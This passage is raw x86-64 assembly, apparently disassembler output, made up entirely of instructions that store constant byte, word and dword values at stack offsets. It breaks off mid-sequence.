mov byte [rsp + 0x456], 0x87
mov eax, 0x367
mov word [rsp + 0x2034], ax
mov byte [rsp + 0x457], 0xf3
mov eax, 0x84e
mov word [rsp + 0x2038], ax
mov dword [rsp + 0x8ebc], 0x6682087c
mov byte [rsp + 0x458], 0xe
mov dword [rsp + 0x8ec0], 0xe9cf
mov dword [rsp + 0x8ec4], 0x6ae35d19
mov eax, 0x1bd
mov word [rsp + 0x203c], ax
mov eax, 0x180
mov word [rsp + 0x2040], ax
mov byte [rsp + 0x459], 0xf6
mov dword [rsp + 0x8ec8], 0x51cd
mov dword [rsp + 0x8ecc], 0x646bef24
mov byte [rsp + 0x45a], 0x6d
mov eax, 0x879
mov word [rsp + 0x2044], ax
mov dword [rsp + 0x8ed0], 0x6709c82d
mov dword [rsp + 0x8ed4], 0x4ec561ea
mov byte [rsp + 0x45b], 0xad
mov byte [rsp + 0x45c], 0xab
mov eax, 0x515
mov word [rsp + 0x2048], ax
mov byte [rsp + 0x45d], 0x12
mov byte [rsp + 0x45e], 0x98
mov eax, 0xfab
mov word [rsp + 0x204c], ax
mov dword [rsp + 0x8ed8], 0x25360f97
mov eax, 0x13
mov word [rsp + 0x2050], ax
mov eax, 0x9a9
mov word [rsp + 0x2054], ax
mov dword [rsp + 0x8edc], 0x3143aef7
mov dword [rsp + 0x8ee0], 0x515b9a45
mov dword [rsp + 0x8ee4], 0x5cdc
mov dword [rsp + 0x8ee8], 0x2758
mov dword [rsp + 0x8eec], 0x7fd3d8a7
mov dword [rsp + 0x8ef0], 0x4cdddc40
mov eax, 0x681
mov word [rsp + 0x2058], ax
mov dword [rsp + 0x8ef4], 0x4e2ca16a
mov dword [rsp + 0x8ef8], 0xddce
mov eax, 0x22d
mov word [rsp + 0x205c], ax
mov dword [rsp + 0x8efc], 0x9600b27
mov byte [rsp + 0x45f], 0x2b
mov byte [rsp + 0x460], 0x92
mov dword [rsp + 0x8f00], 0x7763cca0
mov dword [rsp + 0x8f04], 0x2169ecd1
mov dword [rsp + 0x8f08], 0xfb1e
mov dword [rsp + 0x8f0c], 0x672f
mov dword [rsp + 0x8f10], 0x9e6a
mov dword [rsp + 0x8f14], 0x1718e692
mov eax, 7
mov word [rsp + 0x2060], ax
mov dword [rsp + 0x8f18], 0x3a24
mov eax, 0xbb3
mov word [rsp + 0x2064], ax
mov byte [rsp + 0x461], 0x90
mov byte [rsp + 0x462], 0x23
mov dword [rsp + 0x8f1c], 0x5e0a9f72
mov dword [rsp + 0x8f20], 0x4f37b3e7
mov dword [rsp + 0x8f24], 0x7a1c2d4e
mov dword [rsp + 0x8f28], 0x6434c67
mov dword [rsp + 0x8f2c], 0x6518015e
mov byte [rsp + 0x463], 0x68
mov byte [rsp + 0x464], 0xa7
mov byte [rsp + 0x465], 0x30
mov dword [rsp + 0x8f30], 0xdfd
mov byte [rsp + 0x466], 0xc9
mov dword [rsp + 0x8f34], 0x72ae378b
mov eax, 0x5a5
mov word [rsp + 0x2068], ax
mov dword [rsp + 0x8f38], 0x4ac988c8
mov dword [rsp + 0x8f3c], 0x3c772fa
mov eax, 0x847
mov word [rsp + 0x206c], ax
mov eax, 0x101
mov word [rsp + 0x2070], ax
mov eax, 0xdf1
mov word [rsp + 0x2074], ax
mov eax, 0x7ef
mov word [rsp + 0x2078], ax
mov eax, 0x872
mov word [rsp + 0x207c], ax
mov eax, 0x2d6
mov word [rsp + 0x2080], ax
mov dword [rsp + 0x8f40], 0x748
mov dword [rsp + 0x8f44], 0x34a62a14
mov byte [rsp + 0x467], 0xed
mov dword [rsp + 0x8f48], 0x722e17b3
mov eax, 0x16a
mov word [rsp + 0x2084], ax
mov byte [rsp + 0x468], 0x39
mov byte [rsp + 0x469], 0xa8
mov dword [rsp + 0x8f4c], 0x58b49fb4
mov byte [rsp + 0x46a], 0xe8
mov dword [rsp + 0x8f50], 0x4791
mov eax, 0x2a0
mov word [rsp + 0x2088], ax
mov dword [rsp + 0x8f54], 0x5dc103e9
mov dword [rsp + 0x8f58], 0x76479e70
mov dword [rsp + 0x8f5c], 0x5c2d6e27
mov dword [rsp + 0x8f60], 0x8844
mov dword [rsp + 0x8f64], 0x60ed68b4
mov dword [rsp + 0x8f68], 0x18bdb0eb
mov dword [rsp + 0x8f6c], 0x5d46f438
mov byte [rsp + 0x46b], 0xef
mov dword [rsp + 0x8f70], 0x4742a30a
mov dword [rsp + 0x8f74], 0x7af262a8
mov dword [rsp + 0x8f78], 0x91be
mov dword [rsp + 0x8f7c], 0x791d207f
mov byte [rsp + 0x46c], 0xd1
mov dword [rsp + 0x8f80], 0x51eae36d
mov byte [rsp + 0x46d], 0x42
mov dword [rsp + 0x8f84], 0x2d2e9d04
mov dword [rsp + 0x8f88], 0x1a03c5c8
mov dword [rsp + 0x8f8c], 0x49dd1aa
mov dword [rsp + 0x8f90], 0x861a
mov dword [rsp + 0x8f94], 0x44eb676b
mov dword [rsp + 0x8f98], 0x60e1553e
mov byte [rsp + 0x46e], 0xf6
mov dword [rsp + 0x8f9c], 0xf160
mov dword [rsp + 0x8fa0], 0x48a8ccac
mov dword [rsp + 0x8fa4], 0x1d11d192
mov eax, 0x6a3
mov word [rsp + 0x208c], ax
mov dword [rsp + 0x8fa8], 0xe1d27bc
mov eax, 0x7dd
mov word [rsp + 0x2090], ax
mov dword [rsp + 0x8fac], 0xb7e1
mov eax, 0x87
mov word [rsp + 0x2094], ax
mov eax, 0xbcf
mov word [rsp + 0x2098], ax
mov eax, 0x5bb
mov word [rsp + 0x209c], ax
mov dword [rsp + 0x8fb0], 0x4b14fbae
mov eax, 0xed0
mov word [rsp + 0x20a0], ax
mov byte [rsp + 0x46f], 0xa3
mov dword [rsp + 0x8fb4], 0x6901bc01
mov byte [rsp + 0x470], 0x2e
mov dword [rsp + 0x8fb8], 0x3fa18384
mov dword [rsp + 0x8fbc], 0xc180
mov dword [rsp + 0x8fc0], 0x6d694942
mov dword [rsp + 0x8fc4], 0x63331dc1
mov dword [rsp + 0x8fc8], 0xf1c2dce
mov dword [rsp + 0x8fcc], 0x7c449926
mov eax, 0x29a
mov word [rsp + 0x20a4], ax
mov dword [rsp + 0x8fd0], 0x4d60ecb7
mov eax, 0xd3f
mov word [rsp + 0x20a8], ax
mov eax, 0x239
mov word [rsp + 0x20ac], ax
mov byte [rsp + 0x471], 0xfa
mov dword [rsp + 0x8fd4], 0x75b10cf0
mov dword [rsp + 0x8fd8], 0x1acf18b2
mov byte [rsp + 0x472], 0xb6
mov dword [rsp + 0x8fdc], 0x45729b02
mov dword [rsp + 0x8fe0], 0xfea3
mov dword [rsp + 0x8fe4], 0x55da4c8
mov byte [rsp + 0x473], 2
mov byte [rsp + 0x474], 1
mov eax, 0x306
mov word [rsp + 0x20b0], ax
mov eax, 0x7d9
mov word [rsp + 0x20b4], ax
mov dword [rsp + 0x8fe8], 0xce23
mov dword [rsp + 0x8fec], 0xb3c1
mov dword [rsp + 0x8ff0], 0x35ce1b16
mov dword [rsp + 0x8ff4], 0x7635aad
mov byte [rsp + 0x475], 0x20
mov dword [rsp + 0x8ff8], 0x13ad
mov dword [rsp + 0x8ffc], 0x452c1c56
mov dword [rsp + 0x9000], 0x7624f2a
mov dword [rsp + 0x9004], 0x1dc443e8
mov dword [rsp + 0x9008], 0x516dd8e6
mov eax, 0xfaa
mov word [rsp + 0x20b8], ax
mov dword [rsp + 0x900c], 0x41eaf71b
mov dword [rsp + 0x9010], 0x1ca21c2a
mov byte [rsp + 0x476], 0xb5
mov dword [rsp + 0x9014], 0x17bcbfc0
mov byte [rsp + 0x477], 0x21
mov byte [rsp + 0x478], 0x48
mov dword [rsp + 0x9018], 0x267c
mov eax, 0x938
mov word [rsp + 0x20bc], ax
mov dword [rsp + 0x901c], 0x5588885b
mov dword [rsp + 0x9020], 0x1da79c24
mov dword [rsp + 0x9024], 0x4f23
mov eax, 0x70
mov word [rsp + 0x20c0], ax
mov dword [rsp + 0x9028], 0x20334105
mov byte [rsp + 0x479], 0x7e
mov eax, 0xb4d
mov word [rsp + 0x20c4], ax
mov dword [rsp + 0x902c], 0x419f
mov dword [rsp + 0x9030], 0x195428c1
mov eax, 0x436
mov word [rsp + 0x20c8], ax
mov byte [rsp + 0x47a], 0x69
mov dword [rsp + 0x9034], 0x1c66
mov dword [rsp + 0x9038], 0x7db14bd9
mov dword [rsp + 0x903c], 0x7b5058b9
mov eax, 0xac4
mov word [rsp + 0x20cc], ax
mov dword [rsp + 0x9040], 0xca8ee9b
mov eax, 0xc06
mov word [rsp + 0x20d0], ax
mov dword [rsp + 0x9044], 0xc688
mov dword [rsp + 0x9048], 0x758fc8ab
mov byte [rsp + 0x47b], 0x61
mov byte [rsp + 0x47c], 0
mov dword [rsp + 0x904c], 0x32a28866
mov eax, 0x347
mov word [rsp + 0x20d4], ax
mov byte [rsp + 0x47d], 0x86
mov dword [rsp + 0x9050], 0x2b73
mov byte [rsp + 0x47e], 0x69
mov dword [rsp + 0x9054], 0x97a
mov eax, 0xa27
mov word [rsp + 0x20d8], ax
mov eax, 0xd99
mov word [rsp + 0x20dc], ax
mov eax, 0x1c
mov word [rsp + 0x20e0], ax
mov dword [rsp + 0x9058], 0x34d
mov eax, 0x1c1
mov word [rsp + 0x20e4], ax
mov dword [rsp + 0x905c], 0x68738b17
mov dword [rsp + 0x9060], 0x8241eb7
mov dword [rsp + 0x9064], 0x62ae04cc
mov dword [rsp + 0x9068], 0x65a2daac
mov dword [rsp + 0x906c], 0x2e61bbb4
mov eax, 0xb22
mov word [rsp + 0x20e8], ax
mov byte [rsp + 0x47f], 0x62
mov byte [rsp + 0x480], 0x70
mov byte [rsp + 0x481], 0x28
mov eax, 0x1b1
mov word [rsp + 0x20ec], ax
mov dword [rsp + 0x9070], 0x52568fe6
mov byte [rsp + 0x482], 0xa7
mov eax, 0x7ac
mov word [rsp + 0x20f0], ax
mov byte [rsp + 0x483], 0x71
mov eax, 0xc2d
mov word [rsp + 0x20f4], ax
mov dword [rsp + 0x9074], 0x472db075
mov dword [rsp + 0x9078], 0x677e
mov byte [rsp + 0x484], 0x19
mov dword [rsp + 0x907c], 0x48a42739
mov byte [rsp + 0x485], 0x22
mov dword [rsp + 0x9080], 0x8814
mov dword [rsp + 0x9084], 0x3c06eb3c
mov eax, 0x661
mov word [rsp + 0x20f8], ax
mov byte [rsp + 0x486], 0xb7
mov dword [rsp + 0x9088], 0xfcc7b23
mov byte [rsp + 0x487], 0x48
mov dword [rsp + 0x908c], 0x381bdd1
mov eax, 0xba0
mov word [rsp + 0x20fc], ax
mov dword [rsp + 0x9090], 0xe9b2d3e
mov dword [rsp + 0x9094], 0x7f8f1d67
mov byte [rsp + 0x488], 0xa3
mov byte [rsp + 0x489], 0x7d
mov dword [rsp + 0x9098], 0xac88297
mov dword [rsp + 0x909c], 0x2753
mov dword [rsp + 0x90a0], 0x18f7
mov eax, 0x4af
mov word [rsp + 0x2100], ax
mov eax, 0x75e
mov word [rsp + 0x2104], ax
mov eax, 0xa3a
mov word [rsp + 0x2108], ax
mov eax, 0xa87
mov word [rsp + 0x210c], ax
mov byte [rsp + 0x48a], 0x48
mov dword [rsp + 0x90a4], 0x2edd680e
mov byte [rsp + 0x48b], 0xed
mov dword [rsp + 0x90a8], 0x65e1
mov dword [rsp + 0x90ac], 0x6432ed7e
mov dword [rsp + 0x90b0], 0x2a69a25
mov dword [rsp + 0x90b4], 0x9ff9e3e
mov byte [rsp + 0x48c], 0x4e
mov eax, 0x8b0
mov word [rsp + 0x2110], ax
mov byte [rsp + 0x48d], 0x2e
mov dword [rsp + 0x90b8], 0x21aaf94a
mov dword [rsp + 0x90bc], 0x11fb0cc9
mov byte [rsp + 0x48e], 0xef
mov dword [rsp + 0x90c0], 0xec84
mov byte [rsp + 0x48f], 0xf0
mov dword [rsp + 0x90c4], 0x360e
mov byte [rsp + 0x490], 0xa0
mov dword [rsp + 0x90c8], 0x4489407e
mov byte [rsp + 0x491], 0x59
mov byte [rsp + 0x492], 4
mov dword [rsp + 0x90cc], 0xb2f5
mov dword [rsp + 0x90d0], 0x4ac96f9f
mov dword [rsp + 0x90d4], 0x271be
mov byte [rsp + 0x493], 0x14
mov eax, 0xaea
mov word [rsp + 0x2114], ax
mov byte [rsp + 0x494], 0xfd
mov dword [rsp + 0x90d8], 0x5a004d13
mov byte [rsp + 0x495], 0xa6
mov dword [rsp + 0x90dc], 0x3b6d9e2b
mov dword [rsp + 0x90e0], 0x24fee0c
mov byte [rsp + 0x496], 0x34
mov byte [rsp + 0x497], 0x21
mov byte [rsp + 0x498], 0x72
mov dword [rsp + 0x90e4], 0x95b9ce3
mov dword [rsp + 0x90e8], 0x51fc4692
mov eax, 0x96
mov word [rsp + 0x2118], ax
mov eax, 0xcda
mov word [rsp + 0x211c], ax
mov eax, 0x21b
mov word [rsp + 0x2120], ax
mov dword [rsp + 0x90ec], 0x2dd03a2
mov dword [rsp + 0x90f0], 0xf837
mov byte [rsp + 0x499], 0x5d
mov byte [rsp + 0x49a], 0x7c
mov eax, 0xe44
mov word [rsp + 0x2124], ax
mov dword [rsp + 0x90f4], 0x5462a378
mov dword [rsp + 0x90f8], 0xc22c
mov byte [rsp + 0x49b], 0x8d
mov dword [rsp + 0x90fc], 0xc756
mov dword [rsp + 0x9100], 0x2e3af18b
mov byte [rsp + 0x49c], 0x28
mov byte [rsp + 0x49d], 0x65
mov eax, 0x9e1
mov word [rsp + 0x2128], ax
mov dword [rsp + 0x9104], 0x4b78
mov dword [rsp + 0x9108], 0x13943226
mov dword [rsp + 0x910c], 0x7f519641
mov byte [rsp + 0x49e], 0x74
mov eax, 0x212
mov word [rsp + 0x212c], ax
mov eax, 0x176
mov word [rsp + 0x2130], ax
mov dword [rsp + 0x9110], 0x471a
mov dword [rsp + 0x9114], 0x3887c39b
mov dword [rsp + 0x9118], 0x6a79
mov byte [rsp + 0x49f], 0xb0
mov eax, 0x57f
mov word [rsp + 0x2134], ax
mov eax, 0x66b
mov word [rsp + 0x2138], ax
mov dword [rsp + 0x911c], 0x3c58
mov dword [rsp + 0x9120], 0x58152f22
mov dword [rsp + 0x9124], 0x7920
mov dword [rsp + 0x9128], 0x737e3641
mov byte [rsp + 0x4a0], 3
mov dword [rsp + 0x912c], 0x79188d5c
mov byte [rsp + 0x4a1], 7
mov dword [rsp + 0x9130], 0x323d
mov byte [rsp + 0x4a2], 0x60
mov byte [rsp + 0x4a3], 0xe6
mov dword [rsp + 0x9134], 0x93be
mov dword [rsp + 0x9138], 0x46bd
mov eax, 0x61e
mov word [rsp + 0x213c], ax
mov dword [rsp + 0x913c], 0xc3fa
mov dword [rsp + 0x9140], 0xcf32
mov dword [rsp + 0x9144], 0x1df535a5
mov dword [rsp + 0x9148], 0x76b80664
mov dword [rsp + 0x914c], 0x79876057
mov dword [rsp + 0x9150], 0x7908
mov dword [rsp + 0x9154], 0x384c1578
mov dword [rsp + 0x9158], 0x2517db1a
mov dword [rsp + 0x915c], 0x77f278fd
mov dword [rsp + 0x9160], 0x91e6
mov dword [rsp + 0x9164], 0x15b46ee1
mov eax, 0xbed
mov word [rsp + 0x2140], ax
mov dword [rsp + 0x9168], 0x76ae420
mov eax, 0xea
mov word [rsp + 0x2144], ax
mov byte [rsp + 0x4a4], 0x65
mov dword [rsp + 0x916c], 0xfdf9
mov dword [rsp + 0x9170], 0x7bfd7535
mov byte [rsp + 0x4a5], 0xe0
mov dword [rsp + 0x9174], 0x2aa40847
mov eax, 0xd96
mov word [rsp + 0x2148], ax
mov byte [rsp + 0x4a6], 0x60
mov byte [rsp + 0x4a7], 0x51
mov dword [rsp + 0x9178], 0x4a058e33
mov eax, 0x193
mov word [rsp + 0x214c], ax
mov eax, 0xb7a
mov word [rsp + 0x2150], ax
mov dword [rsp + 0x917c], 0xbe0e
mov eax, 0x8cc
mov word [rsp + 0x2154], ax
mov dword [rsp + 0x9180], 0x69c0
mov byte [rsp + 0x4a8], 0x76
mov eax, 0xa7
mov word [rsp + 0x2158], ax
mov eax, 0x4c3
mov word [rsp + 0x215c], ax
mov dword [rsp + 0x9184], 0x256f5b6b
mov byte [rsp + 0x4a9], 0x30
mov byte [rsp + 0x4aa], 0x67
mov dword [rsp + 0x9188], 0x5ae8
mov dword [rsp + 0x918c], 0x794eb619
mov dword [rsp + 0x9190], 0x43b17a89
mov dword [rsp + 0x9194], 0x4ef3
mov dword [rsp + 0x9198], 0x6357
mov byte [rsp + 0x4ab], 0xda
mov byte [rsp + 0x4ac], 0xa0
mov dword [rsp + 0x919c], 0xa330
mov dword [rsp + 0x91a0], 0x4ab5c5f4
mov byte [rsp + 0x4ad], 0x7e
mov dword [rsp + 0x91a4], 0x4524b21b
mov dword [rsp + 0x91a8], 0x4c046163
mov dword [rsp + 0x91ac], 0x5de717ec
mov dword [rsp + 0x91b0], 0xac1f
mov dword [rsp + 0x91b4], 0x26df87de
mov dword [rsp + 0x91b8], 0x23fe1b3e
mov dword [rsp + 0x91bc], 0x2b918d11
mov eax, 0x461
mov word [rsp + 0x2160], ax
mov byte [rsp + 0x4ae], 0xcd
mov byte [rsp + 0x4af], 0x1d
mov eax, 0x490
mov word [rsp + 0x2164], ax
mov dword [rsp + 0x91c0], 0x1335846e
mov eax, 0xb7a
mov word [rsp + 0x2168], ax
mov eax, 0x6eb
mov word [rsp + 0x216c], ax
mov eax, 0x299
mov word [rsp + 0x2170], ax
mov byte [rsp + 0x4b0], 0xe
mov dword [rsp + 0x91c4], 0x3bd5a248
mov dword [rsp + 0x91c8], 0x149299bb
mov byte [rsp + 0x4b1], 9
mov byte [rsp + 0x4b2], 0x5a
mov dword [rsp + 0x91cc], 0x32c4a55c
mov dword [rsp + 0x91d0], 0x55bf1cef
mov dword [rsp + 0x91d4], 0x114fa09
mov eax, 0xedd
mov word [rsp + 0x2174], ax
mov dword [rsp + 0x91d8], 0x13a8644f
mov dword [rsp + 0x91dc], 0x589d4aa3
mov eax, 0x273
mov word [rsp + 0x2178], ax
mov dword [rsp + 0x91e0], 0x5e4615a8
mov dword [rsp + 0x91e4], 0x3e817061
mov dword [rsp + 0x91e8], 0x4ed48238
mov eax, 0x43
mov word [rsp + 0x217c], ax
mov dword [rsp + 0x91ec], 0x5b3d
mov dword [rsp + 0x91f0], 0x570897d1
mov byte [rsp + 0x4b3], 0x8e
mov eax, 0x7b0
mov word [rsp + 0x2180], ax
mov dword [rsp + 0x91f4], 0x2f14efb7
mov dword [rsp + 0x91f8], 0x68ae6f67
mov dword [rsp + 0x91fc], 0x4df45a4
mov dword [rsp + 0x9200], 0x2ba156a3
mov byte [rsp + 0x4b4], 0xea
mov eax, 0x86e
mov word [rsp + 0x2184], ax
mov byte [rsp + 0x4b5], 0x6f
mov byte [rsp + 0x4b6], 0xef
mov dword [rsp + 0x9204], 0x3a1b38cb
mov eax, 0x240
mov word [rsp + 0x2188], ax
mov dword [rsp + 0x9208], 0x5f216985
mov dword [rsp + 0x920c], 0x51c12c90
mov dword [rsp + 0x9210], 0xc6c77b2
mov eax, 0xe52
mov word [rsp + 0x218c], ax
mov byte [rsp + 0x4b7], 0x8d
mov eax, 0xe54
mov word [rsp + 0x2190], ax
mov eax, 0x8b0
mov word [rsp + 0x2194], ax
mov dword [rsp + 0x9214], 0xfb56
mov dword [rsp + 0x9218], 0x60116d3e
mov dword [rsp + 0x921c], 0x73752067
mov dword [rsp + 0x9220], 0xd189
mov dword [rsp + 0x9224], 0x6e23c82
mov dword [rsp + 0x9228], 0x3481aa4a
mov dword [rsp + 0x922c], 0x2d61
mov dword [rsp + 0x9230], 0x7e115274
mov dword [rsp + 0x9234], 0xd065
mov byte [rsp + 0x4b8], 0x4a
mov byte [rsp + 0x4b9], 0x7c
mov dword [rsp + 0x9238], 0x1fa7b6f9
mov eax, 0x4fd
mov word [rsp + 0x2198], ax
mov eax, 0xa8c
mov word [rsp + 0x219c], ax
mov eax, 0x69b
mov word [rsp + 0x21a0], ax
mov dword [rsp + 0x923c], 0x61b8599b
mov eax, 0x9bb
mov word [rsp + 0x21a4], ax
mov dword [rsp + 0x9240], 0x16190908
mov byte [rsp + 0x4ba], 0x54
mov byte [rsp + 0x4bb], 0x8a
mov dword [rsp + 0x9244], 0x43339907
mov dword [rsp + 0x9248], 0xe8f7
mov dword [rsp + 0x924c], 0xb3d5
mov dword [rsp + 0x9250], 0xc9fd
mov dword [rsp + 0x9254], 0x3af510b6
mov dword [rsp + 0x9258], 0x9430
mov dword [rsp + 0x925c], 0x7c90
mov dword [rsp + 0x9260], 0x516565b5
mov eax, 0xc8
mov word [rsp + 0x21a8], ax
mov byte [rsp + 0x4bc], 0x8a
mov dword [rsp + 0x9264], 0x950a
mov byte [rsp + 0x4bd], 0x64
mov dword [rsp + 0x9268], 0xbda7
mov eax, 0xf15
mov word [rsp + 0x21ac], ax
mov eax, 0xe70
mov word [rsp + 0x21b0], ax
mov dword [rsp + 0x926c], 0xda42
mov dword [rsp + 0x9270], 0xf256
mov dword [rsp + 0x9274], 0x5fec2e67
mov dword [rsp + 0x9278], 0xe5f3
mov eax, 0x3b8
mov word [rsp + 0x21b4], ax
mov dword [rsp + 0x927c], 0x12f7
mov byte [rsp + 0x4be], 0x38
mov dword [rsp + 0x9280], 0x67faa295
mov eax, 0x29d
mov word [rsp + 0x21b8], ax
mov dword [rsp + 0x9284], 0x1c40f527
mov byte [rsp + 0x4bf], 0x42
mov dword [rsp + 0x9288], 0x64f2
mov eax, 0xee4
mov word [rsp + 0x21bc], ax
mov byte [rsp + 0x4c0], 0xd5
mov byte [rsp + 0x4c1], 0xcc
mov byte [rsp + 0x4c2], 0xe4
mov byte [rsp + 0x4c3], 0xe2
mov eax, 0xf8f
mov word [rsp + 0x21c0], ax
mov dword [rsp + 0x928c], 0x70cb
mov eax, 0x8ce
mov word [rsp + 0x21c4], ax
mov dword [rsp + 0x9290], 0x3f42
mov eax, 0xeb1
mov word [rsp + 0x21c8], ax
mov eax, 0xdae
mov word [rsp + 0x21cc], ax
mov byte [rsp + 0x4c4], 0x4e
mov byte [rsp + 0x4c5], 4
mov byte [rsp + 0x4c6], 0x2f
mov dword [rsp + 0x9294], 0xde9370a
mov eax, 0xa4d
mov word [rsp + 0x21d0], ax
mov byte [rsp + 0x4c7], 0x49
mov eax, 0x510
mov word [rsp + 0x21d4], ax
mov dword [rsp + 0x9298], 0x52294080
mov dword [rsp + 0x929c], 0x672d2e70
mov dword [rsp + 0x92a0], 0x7c0dce65
mov eax, 0x7b1
mov word [rsp + 0x21d8], ax
mov eax, 0xf04
mov word [rsp + 0x21dc], ax
mov eax, 0x4f9
mov word [rsp + 0x21e0], ax
mov dword [rsp + 0x92a4], 0x9b29
mov dword [rsp + 0x92a8], 0x928b
mov dword [rsp + 0x92ac], 0x98bc
mov dword [rsp + 0x92b0], 0xbe4b
mov byte [rsp + 0x4c8], 0x92
mov byte [rsp + 0x4c9], 0x82
mov dword [rsp + 0x92b4], 0x2d291fb6
mov dword [rsp + 0x92b8], 0x21c8491f
mov dword [rsp + 0x92bc], 0x55134593
mov dword [rsp + 0x92c0], 0x6623ba96
mov byte [rsp + 0x4ca], 0x58
mov eax, 0x366
mov word [rsp + 0x21e4], ax
mov dword [rsp + 0x92c4], 0x41f20a85
mov dword [rsp + 0x92c8], 0x6b007b6d
mov dword [rsp + 0x92cc], 0x554b2546
mov eax, 0xb83
mov word [rsp + 0x21e8], ax
mov dword [rsp + 0x92d0], 0x524fe1e8
mov byte [rsp + 0x4cb], 0xf8
mov eax, 0xc40
mov word [rsp + 0x21ec], ax
mov dword [rsp + 0x92d4], 0x63d63181
mov byte [rsp + 0x4cc], 0x1e
mov byte [rsp + 0x4cd], 0x6c
mov eax, 0x7de
mov word [rsp + 0x21f0], ax
mov eax, 0x4b6
mov word [rsp + 0x21f4], ax
mov eax, 0x9d7
mov word [rsp + 0x21f8], ax
mov eax, 0xfd6
mov word [rsp + 0x21fc], ax
mov dword [rsp + 0x92d8], 0x719db6ae
mov byte [rsp + 0x4ce], 0xc2
mov dword [rsp + 0x92dc], 0x7243ade0
mov byte [rsp + 0x4cf], 0xb4
mov dword [rsp + 0x92e0], 0xf2fd
mov byte [rsp + 0x4d0], 0x58
mov dword [rsp + 0x92e4], 0x3269799
mov dword [rsp + 0x92e8], 0x2f681931
mov dword [rsp + 0x92ec], 0x1e52079b
mov dword [rsp + 0x92f0], 0xe8
mov dword [rsp + 0x92f4], 0x2fd2aac0
mov dword [rsp + 0x92f8], 0x4c4a5b4e
mov byte [rsp + 0x4d1], 0xf
mov dword [rsp + 0x92fc], 0xa9200ca
mov dword [rsp + 0x9300], 0x10b40bb9
mov eax, 0x450
mov word [rsp + 0x2200], ax
mov dword [rsp + 0x9304], 0x65ee
mov dword [rsp + 0x9308], 0xa78f
mov eax, 0xbd4
mov word [rsp + 0x2204], ax
mov byte [rsp + 0x4d2], 0x55
mov dword [rsp + 0x930c], 0x57d773d6
mov eax, 0xe9b
mov word [rsp + 0x2208], ax
mov byte [rsp + 0x4d3], 0x86
mov dword [rsp + 0x9310], 0x744c0338
mov eax, 0x131
mov word [rsp + 0x220c], ax
mov eax, 0xb60
mov word [rsp + 0x2210], ax
mov dword [rsp + 0x9314], 0x525cf8c4
mov dword [rsp + 0x9318], 0x348db468
mov dword [rsp + 0x931c], 0x45f30bc3
mov dword [rsp + 0x9320], 0x5be0af2d
mov dword [rsp + 0x9324], 0x1c03
mov dword [rsp + 0x9328], 0xa673
mov byte [rsp + 0x4d4], 0xf8
mov dword [rsp + 0x932c], 0xaf90
mov dword [rsp + 0x9330], 0x434545d3
mov dword [rsp + 0x9334], 0xdf46
mov dword [rsp + 0x9338], 0xd19
mov byte [rsp + 0x4d5], 0x40
mov byte [rsp + 0x4d6], 0xfc
mov dword [rsp + 0x933c], 0x109d
mov dword [rsp + 0x9340], 0x6d8f19
mov byte [rsp + 0x4d7], 0x35
mov dword [rsp + 0x9344], 0x7f504ed7
mov eax, 0x469
mov word [rsp + 0x2214], ax
mov byte [rsp + 0x4d8], 0xe6
mov byte [rsp + 0x4d9], 0xb5
mov dword [rsp + 0x9348], 0x35da2b15
mov eax, 0xec5
mov word [rsp + 0x2218], ax
mov dword [rsp + 0x934c], 0x20bf8e92
mov eax, 0xe3b
mov word [rsp + 0x221c], ax
mov eax, 0x208
mov word [rsp + 0x2220], ax
mov dword [rsp + 0x9350], 0xd1a7
mov byte [rsp + 0x4da], 0x9c
mov dword [rsp + 0x9354], 0xba49
mov dword [rsp + 0x9358], 0x80f0
mov dword [rsp + 0x935c], 0x41d7600c
mov byte [rsp + 0x4db], 0xaf
mov dword [rsp + 0x9360], 0x2938329e
mov dword [rsp + 0x9364], 0xce2a
mov eax, 0x975
mov word [rsp + 0x2224], ax
mov dword [rsp + 0x9368], 0x66958ec9
mov eax, 0xfe1
mov word [rsp + 0x2228], ax
mov dword [rsp + 0x936c], 0x672e
mov dword [rsp + 0x9370], 0x5e1303e7
mov byte [rsp + 0x4dc], 0xa9
mov dword [rsp + 0x9374], 0xf30b2c6
mov eax, 0x220
mov word [rsp + 0x222c], ax
mov eax, 0x4c0
mov word [rsp + 0x2230], ax
mov byte [rsp + 0x4dd], 0x29
mov eax, 0x429
mov word [rsp + 0x2234], ax
mov dword [rsp + 0x9378], 0xce39b89
mov dword [rsp + 0x937c], 0x2735f211
mov eax, 0xf2b
mov word [rsp + 0x2238], ax
mov dword [rsp + 0x9380], 0xee21709
mov byte [rsp + 0x4de], 0x62
mov dword [rsp + 0x9384], 0x7e02
mov eax, 0x485
mov word [rsp + 0x223c], ax
mov dword [rsp + 0x9388], 0x588626b8
mov eax, 0x184
mov word [rsp + 0x2240], ax
mov dword [rsp + 0x938c], 0x61a13b
mov eax, 0x5e7
mov word [rsp + 0x2244], ax
mov byte [rsp + 0x4df], 0xe2
mov byte [rsp + 0x4e0], 0x3f
mov dword [rsp + 0x9390], 0x7d6a85bf
mov byte [rsp + 0x4e1], 0
mov byte [rsp + 0x4e2], 4
mov eax, 0x7b4
mov word [rsp + 0x2248], ax
mov dword [rsp + 0x9394], 0x24f4e7ba
mov byte [rsp + 0x4e3], 0x49
mov dword [rsp + 0x9398], 0x2e15ed95
mov dword [rsp + 0x939c], 0x5d83
mov dword [rsp + 0x93a0], 0xc2c6
mov dword [rsp + 0x93a4], 0x2ece
mov dword [rsp + 0x93a8], 0x3bc13b50
mov dword [rsp + 0x93ac], 0xa55
mov dword [rsp + 0x93b0], 0xfbd3
mov dword [rsp + 0x93b4], 0x8d3e
mov dword [rsp + 0x93b8], 0x1d09eaad
mov byte [rsp + 0x4e4], 0xad
mov eax, 0x350
mov word [rsp + 0x224c], ax
mov dword [rsp + 0x93bc], 0x395e5471
mov dword [rsp + 0x93c0], 0x33ddf2c4
mov byte [rsp + 0x4e5], 0xfd
mov eax, 0xce6
mov word [rsp + 0x2250], ax
mov dword [rsp + 0x93c4], 0x10819420
mov dword [rsp + 0x93c8], 0x5e0745f2
mov eax, 0x9ce
mov word [rsp + 0x2254], ax
mov dword [rsp + 0x93cc], 0x524d
mov dword [rsp + 0x93d0], 0xe8ec
mov byte [rsp + 0x4e6], 0x33
mov byte [rsp + 0x4e7], 0xe2
mov dword [rsp + 0x93d4], 0x5fc9
mov dword [rsp + 0x93d8], 0x1721e736
mov byte [rsp + 0x4e8], 0xe1
mov eax, 0x1af
mov word [rsp + 0x2258], ax
mov byte [rsp + 0x4e9], 0x60
mov dword [rsp + 0x93dc], 0x7d1c10ad
mov eax, 0x75e
mov word [rsp + 0x225c], ax
mov dword [rsp + 0x93e0], 0x7f0d7847
mov eax, 0x388
mov word [rsp + 0x2260], ax
mov dword [rsp + 0x93e4], 0x7a60021b
mov eax, 0x323
